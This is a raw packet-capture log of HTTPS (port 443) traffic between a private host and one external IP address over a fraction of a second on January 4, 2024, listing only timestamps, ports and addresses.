Jan 4, 2024 08:37:17.625180006 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.625185013 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.625240088 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.625855923 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.625875950 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.625906944 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.625911951 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.625940084 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.625965118 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.625982046 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.625998974 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.626034975 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.626039028 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.626066923 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.626095057 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.626399040 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.626421928 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.626451015 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.626457930 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.626485109 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.626502991 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.627295971 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.627314091 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.627365112 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.627371073 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.627412081 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.627886057 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.627901077 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.627938986 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.627943993 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.627958059 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.627975941 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.627980947 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.627995014 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.627998114 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.628032923 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.628058910 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.628396988 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.628412008 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.628456116 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.628459930 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.628500938 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.629121065 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.629136086 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.629170895 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.629177094 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.629204988 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.629226923 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.629868984 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.629885912 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.629920006 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.629935980 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.629940987 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.629967928 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.629972935 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.629996061 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.630000114 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.630026102 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.630044937 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.630549908 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.630563021 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.630616903 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.630623102 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.630656958 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.631426096 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.631452084 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.631481886 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.631488085 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.631515026 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.631537914 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.631987095 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.632020950 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.632045984 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.632050991 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.632074118 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.632082939 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.632090092 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.632107019 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.632111073 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.632138968 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.632167101 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.632611036 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.632626057 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.632680893 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.632689953 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.632752895 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.633538961 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.633605003 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.633615017 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.633620977 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.633651972 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.633665085 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.634217978 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.634247065 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.634285927 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.634298086 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.634304047 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.634339094 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.634355068 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.634361029 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.634382010 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.634404898 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.637598038 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.637624025 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.637669086 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.637675047 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.637706995 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.637727022 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.639950991 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.639961958 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.640029907 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.640037060 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.640075922 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.641585112 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.641601086 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.641659975 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.641666889 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.641721010 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.644344091 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.644380093 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.644414902 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.644421101 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.644468069 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.645824909 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.645842075 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.645900011 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.645906925 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.645951986 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.647850990 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.647866964 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.647933960 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.647941113 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.648024082 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.648408890 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.649216890 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.649240017 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.649271011 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.649290085 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.649296999 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.649333000 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.649408102 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.650893927 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.650908947 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.650959969 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.650965929 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.650984049 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.652379990 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.652399063 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.652427912 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.652434111 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.652461052 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.653357029 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.653378963 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.653409004 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.653414011 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.653444052 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.653450012 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.653469086 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.653497934 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.653502941 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.653537035 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.655023098 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.655035973 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.655082941 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.655090094 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.655111074 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.656944990 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.656964064 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.656999111 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.657006025 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.657027006 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.657932997 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.657967091 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.657994986 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.657999992 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.658015013 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.658025980 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.658032894 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.658061981 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.658067942 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.658096075 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.659111977 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.659126043 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.659184933 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.659190893 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.660567999 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.660590887 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.660624981 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.660629988 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.660650969 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.661473989 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.661483049 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.661531925 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.661536932 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.663980007 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.664000034 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.664032936 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.664041042 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.664058924 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.665132046 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.665153027 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.665180922 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.665185928 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.665206909 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.666531086 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.666552067 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.666594982 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.666600943 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.666630983 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.667947054 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.667962074 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.668006897 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.668013096 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.668030024 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.668512106 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.668529034 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.668565035 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.668570995 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.668595076 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.670454025 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.670466900 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.670507908 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.670514107 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.670536995 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.672329903 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.672348976 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.672382116 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.672385931 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.672410011 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.673599005 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.673633099 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.673665047 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.673675060 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.673682928 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.675550938 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.675570965 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.675607920 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.675612926 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.675638914 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.677145004 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.677171946 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.677216053 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.677220106 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.677243948 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.678261995 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.678284883 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.678365946 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.678371906 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.678386927 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.678721905 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.678761959 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.678781033 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.678786993 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.678813934 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.678988934 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.679006100 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.679040909 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.679045916 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.679069042 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.680386066 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.680399895 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.680439949 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.680444956 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.680468082 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.681543112 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.681560993 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.681590080 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.681596041 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.681616068 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.681931019 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.681943893 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.681977034 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.681982040 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.682001114 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.682377100 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.682396889 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.682426929 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.682430983 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.682456017 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.683029890 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.683043957 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.683073997 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.683079004 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.683094978 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.683985949 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.684010029 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.684040070 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.684043884 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.684087992 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.684513092 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.684528112 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.684556961 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.684562922 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.684577942 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.685023069 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.685041904 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.685070992 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.685075998 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.685094118 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.686090946 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.686105967 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.686148882 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.686152935 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.686182022 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.686834097 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.686852932 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.686883926 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.686891079 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.686923981 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.687819004 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.687832117 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.687874079 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.687880039 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.687905073 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.688539982 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.688558102 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.688591957 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.688599110 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.688632011 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.689488888 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.689508915 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.689544916 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.689549923 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.689574003 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.690395117 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.690418959 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.690445900 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.690450907 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.690483093 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.690669060 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.690682888 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.690730095 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.690736055 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.690757990 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.691137075 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.691155910 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.691189051 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.691194057 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.691226959 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.692224026 CET	443	49706	104.22.53.71	192.168.2.9
